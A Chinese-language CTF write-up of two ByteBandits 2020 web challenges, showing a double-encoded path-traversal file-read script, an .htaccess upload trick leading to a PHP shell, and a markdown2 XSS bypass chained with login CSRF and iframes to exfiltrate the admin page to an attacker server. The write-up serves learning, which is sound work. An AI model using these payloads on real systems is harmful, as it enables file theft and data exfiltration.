Author:颖奇L’Amore
Blog:www.gem-love.com
比赛质量很高,决定本地搭环境复现
ImgAccess2
I heard they have something special running at secretserver:1337
https://github.com/ByteBandits/bbctf-2020/tree/master/web/ImgAccesss
考点:FUZZ、任意文件读取、.htaccess重写
难度:较难(需要分析+较强的fuzz能力)
截止到写这篇WP,CTFtime上还没有关于这题目的任何wp
自己搭个环境做一下,docker-compose up直接一步到位
官方WP只有简单的几个字:
- python source code can be leaked by /uploads endpoint
- source code contains hint about apache
- apache allows config override using .htaccess
剩下的还是需要自己做了
RECON
题目提供了一个上传功能
在回包有这样的字段:
Server: gunicorn/19.9.0
说明题目是Python写的,Python的上传绕过getshell还没遇到过,目测这个题也没有这么简单粗暴
简单测试发现只能穿图片,然后caption随便写没什么卵用,上传之后回来到/upload页面,只有个链接指向到/view/ip的md5/原始文件名:
跟进,发现指向了/uploads/ip的md5/原始文件名,这个路径是文件的真实路径:
FUZZ
在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500:
这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是/uploads/:path
这样的
既然如此,是否可以通过构造特定的:path
来SSRF?经过艰难的大量的测试+一些自己的思考,发现二次编码绕过可以实现任意文件读取:
#!/usr/bin/env python3
#coding: utf8
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import *
file_to_read = "/etc/passwd"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../../../"+file_to_read))
r = requests.get(url)
print(r.text)
文件读取
现在能够做到任意文件读取了,那么读什么?一般python源代码都写在app.py中,于是读一下:
file_to_read = "app.py"
url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../"+file_to_read))
得到:
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
第一处关键代码:
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
这里出题人直接给了Hint,告诉有一个/uploads_apache使用了Apache
第二处文件代码:
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
这个基本是fuzz不出来,后缀白名单除了png和jpg,还给了个s
htaccess重写
根据他的hint,直接使用Apache访问刚刚上传的图片发现是可以打开的
http://localhost:7003/uploads_apache/f528764d624db129b32c21fbca0cb8d6/y1ngshell.jpg
再次回到app.py看源码,本来以为文件名经过了werkzeug.utils.secure_filename()
处理了
secure_filename(file.filename)
来撸一下这个函数的源码:
可以看到,这个secure_filename()
会把开头的/../
这样的跨目录的危险内容给剥离
加之app.py中允许了s这个后缀,我的第一感觉就是上传.htacces/..s
来绕过,首先这可以被认为是一个s为后缀的文件可以绕过后缀的白名单检测,然后再存文件前被secure_filename()
给剥掉/..
这样就拼接成了.htaccess实现了Apache规则文件重写。
然而本地测试发现是不可以的,只有/..
在开头时候才给剥掉
没其他现成的思路了,只能去手工测试,结果神奇的事情发生了,居然莫名其妙的上传成功了并且被处理成了.htaccess
后来guoke师傅告诉,才反应起来,这个secure_filename()
是它自定义的函数:
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
服务器正好配置了PHP,这样就getshell了
wget内网主机得到flag:flag{w3ll_pl4y3D_h3ck3rm4n!}
Notes APP
noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/
考点:Markdown XSS、CSRF、XFS
难度:难
分析
题目给了Docker源码,简单粗暴:
打开题目网页,可以发现能够注册登陆,然后有个输入框能输入东西(前端很美观)
在源码里发现可以把URL发给管理员看:
@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
if request.method == "POST":
url = request.form.get("url")
token = request.form.get("g-recaptcha-response")
r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
'secret': os.environ.get('RECAPTCHA_SECRET'),
'response': token
})
if r.json()['success']:
job = q.enqueue(visit_url, url, result_ttl = 600)
flash("Our admin will visit the url soon.")
return render_template("visit_link.html", job_id = job.id)
else:
flash("Recaptcha verification failed")
return render_template("visit_link.html")
管理员确实会访问:
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()
def visit_url(url):
asyncio.get_event_loop().run_until_complete(main(url))
所以基本肯定是个XSS题目
Markdown2 XSS
在源码中注意到如下代码:
@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
# markdown support!!
current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
db.session.commit()
return redirect("/profile")
使用了Markdown2,因为safe_mode = True
的缘故,<script></p>
等标签标签会被转义为[HTML_REMOVED]
,无法直接XSS:
通过搜索Google,发现了Markdown2的XSS漏洞,链接:
PoC:
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
但是,这是一个Self XSS,不能交给管理员看,因为分析代码可知,管理员登录了自己的账户,看到的是他自己的留言板,我们自己的留言板只能被自己看到。
需要想办法得到管理员页面的内容才能得到flag
登录
可以看到登录时使用的是get而不是post,如果以登录就直接跳转到/profile:
@app.route("/login", methods = ["GET", "POST"])
def login():
if current_user.is_authenticated:
return redirect("/profile")
if request.args.get("username"):
# register user
id = request.args.get('username')
password = request.args.get('password')
user = User.query.filter_by(id = id).first()
if user and user.check_password(password = password):
login_user(user)
return redirect("/profile")
flash('Incorrect creds')
return redirect("/login")
return render_template("login.html")
所以可以轻松的构造出一个登录自己账号的连接,比如
https://notes.web.byteband.it/login?username=y1ng&password=y1ng
CSRF+XFS
现在并不知道管理员的账号密码(如果知道的话 这个就已经做完了),并且凭借做题经验来讲,这种允许自己注册账户并登陆的题目,十有八九和SQL注入无关,分析代码可知本题目使用了Redis并且登陆确实不存在SQL注入
管理员使用我们的帐户登录并不能显示它自己的Profile页面,所以admin的profile可能会预先显示在iframe中,然后logout和登录我们的帐户的操作在另一个iframe
在login()
中,如果已登录就会直接跳转:
if current_user.is_authenticated:
return redirect("/profile")
所以可以把payload放在我们自己的profile中,在新的iframe中通过CSRF登录我们自己的账户来触发Payload,然后Payload窃取了管理员原始iframe,得到flag。因为两个iframe并不存在跨域问题,所以这个XFS(跨框架脚本)攻击是可行的
时间问题
但是还有个问题:
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()
正如sigflag所说的,本地打得通,题目不生效,因为他page.click('button')
登录之后不会等你payload被执行就直接browser.close()
了
所以需要手工添加延时,让browser花更长时间来解析,才能够让Payload正常执行,使用graneed的脚本:
<html>
<head>
<script>
function sleep(waitMsec){
var startMsec = new Date();
while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
var adminframe = document.createElement("iframe");
adminframe.name = "adminframe";
adminframe.src = "https://notes.web.byteband.it/profile";
var body = document.querySelector("body");
body.appendChild(adminframe);
sleep(3000);
var logoutframe = document.createElement("iframe");
logoutframe.src = "https://notes.web.byteband.it/logout";
body.appendChild(logoutframe);
sleep(3000);
var loginframe = document.createElement("iframe");
loginframe.src = "https://notes.web.byteband.it/login?username=y1ng&password=y1ng";
body.appendChild(loginframe);
}, false);
</script>
</head>
</html>
在自己服务器上创建这个页面,然后在自己profile中使用如下Payload:
<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
之后来到visit_link把我们的html页面提交:
服务器上nc监听就得到了返回的数据:
<div class="hero is-fullheight is-centered is-vcentered is-primary">
<div class="hero-head">
<nav class="navbar">
<div class="container">
<div class="navbar-brand">
<a href="/" class="navbar-item">
MyNotes
</a>
</div>
<div class="navbar-menu">
<div class="navbar-end">
<span class="navbar-item">
<a href="/logout" class="button is-primary is-inverted">
<span>Logout</span>
</a>
</span>
</div>
</div>
</div>
</nav>
</div>
<div class="hero-body columns is-centered has-text-centered">
<div class="column is-4">
<div class="title">
Howdy admin!
</div>
<!-- so that user can write html -->
<p> flag{ch41n_tHy_3Xploits_t0_w1n} </p>
<br>
<form method="post" action="/update_notes">
<textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
<input class="button is-fullwidth" type="submit" value="Update" name="">
</form>
</div>
</div>
</div>
<footer class="footer">
<div class="content has-text-centered">
<p>
<strong>MyNotes</strong> by n0ob.
</p>
</div>
</footer>
flag:flag{ch41n_tHy_3Xploits_t0_w1n}
References
https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2254.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示